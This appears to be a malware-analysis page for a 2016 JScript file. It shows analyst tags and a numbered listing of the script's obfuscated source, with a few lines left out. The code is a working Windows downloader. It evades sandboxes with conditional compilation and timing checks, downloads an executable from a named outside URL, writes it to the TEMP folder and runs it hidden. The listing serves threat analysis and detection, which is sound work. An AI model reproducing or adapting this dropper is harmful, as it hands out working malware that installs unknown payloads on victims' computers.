20160328_18a19cdc0e48600aaf93fa01f351ebb2.js
HTTP downloader drops and executes EXE
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-2565a3edfec856788b5f7f2db6833db339caecd31f9b26c12420ca0fadae0455598
Evidence
1var Iwsqny = false;
2var Kwcqamf = "CreateObject";
3var Uyxuxuotj = function Ofycdttppc() {return WScript[Kwcqamf]("WScript.Shell");}();
4var Wilvqh = 123213;
5var Zohphuule = "MSXML2.XMLHTTP";
6var Xnvtpjaehw = 2123213;
7var Txnbpguqk = 0;
8function Zquttp(Oypiovinxl){Uyxuxuotj["Run"](Oypiovinxl, Txnbpguqk, Txnbpguqk);};
9function Qrzuqugmeg(){return Zohphuule;};
10function Mqyto(Etxlbm, Hjfqpdbj){return Etxlbm - Hjfqpdbj;};
11function Xdtpfzmrkr(){return Kwcqamf;};
12/*@cc_on
13 @if (@_win32 || @_win64)
14 Iwsqny = true;
15 @end
16@*/
17var Oquyybbqt = "";
18if (Iwsqny)
19{
20function Nirssdpd(){return 22;};
21var Kbeftj = 0; var Jjnbws = 0;
22function Xcstoulm()
23{
24var Jchfqior = new this["Date"]();
25var Ocqekt = Jchfqior["getUTCMilliseconds"]();
26WScript["Sleep"](Nirssdpd());
27var Jchfqior = new this["Date"]();
28var Lfajnaty = Jchfqior["getUTCMilliseconds"]();
29WScript["Sleep"](Nirssdpd());
30var Jchfqior = new this["Date"]();
31var Cysuwj = Jchfqior["getUTCMilliseconds"]();
32var Kbeftj = "Xadnbnen";
33Kbeftj = Mqyto(Lfajnaty, Ocqekt);
34var Jjnbws = "Jieybb";
35Jjnbws = Mqyto(Cysuwj, Lfajnaty);
36Oquyybbqt = "open";
37return Mqyto(Kbeftj, Jjnbws);
38}
39var Nhaeiojrjm = false;
40var Jqeiejvaed = false;
41for (var Skmmcocde = Txnbpguqk; Skmmcocde < Nirssdpd() * 1; Skmmcocde++){if (Xcstoulm() != Txnbpguqk) …
49:12… rjm && Ghzzhnizv() && Jqeiejvaed){
50function Kvirwisw() {return Uyxuxuotj["ExpandEnvironmentStrings"]("%TEMP%/") + "hPp0GQA5hUNg.exe";};
51 Hplhucdpqo = Qrzuqugmeg();
52 Osntvedy = WScript[Kwcqamf](Hplhucdpqo);
53 var Qdybrzls = 1;
54 while (Qdybrzls){
55try {
56Osntvedy[Oquyybbqt]("GET", "http://purelaces.com/ny6sja", false);
57Osntvedy["send"]();
58Mknpmfidm = "Sleep";
59do {WScript[Mknpmfidm](Nirssdpd() * 11)} while (Osntvedy["readystate"] < 4 );
60Qdybrzls = Txnbpguqk;
61} catch(Wrkhbcfd){Qdybrzls = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Xsnictut(Wnonc) {var Aqnagzqg = (1, 2, 3, 4, 5, Wnonc); return Aqnagzqg;};
64Qdzprx = WScript[Xdtpfzmrkr()]("ADODB.Stream");
65Hplhucdpqo = Qdzprx;
66Hplhucdpqo[Oquyybbqt]();
67Hplhucdpqo["type"] = Xsnictut(1);
68Hplhucdpqo["write"](Osntvedy["ResponseBody"]);
69Qdzprx["position"] = Xsnictut(Txnbpguqk);
70Hplhucdpqo["SaveToFile"](Kvirwisw(), Xsnictut(2) );
71Qdzprx["close"]();
72Zquttp(Kvirwisw());
73}
74}
75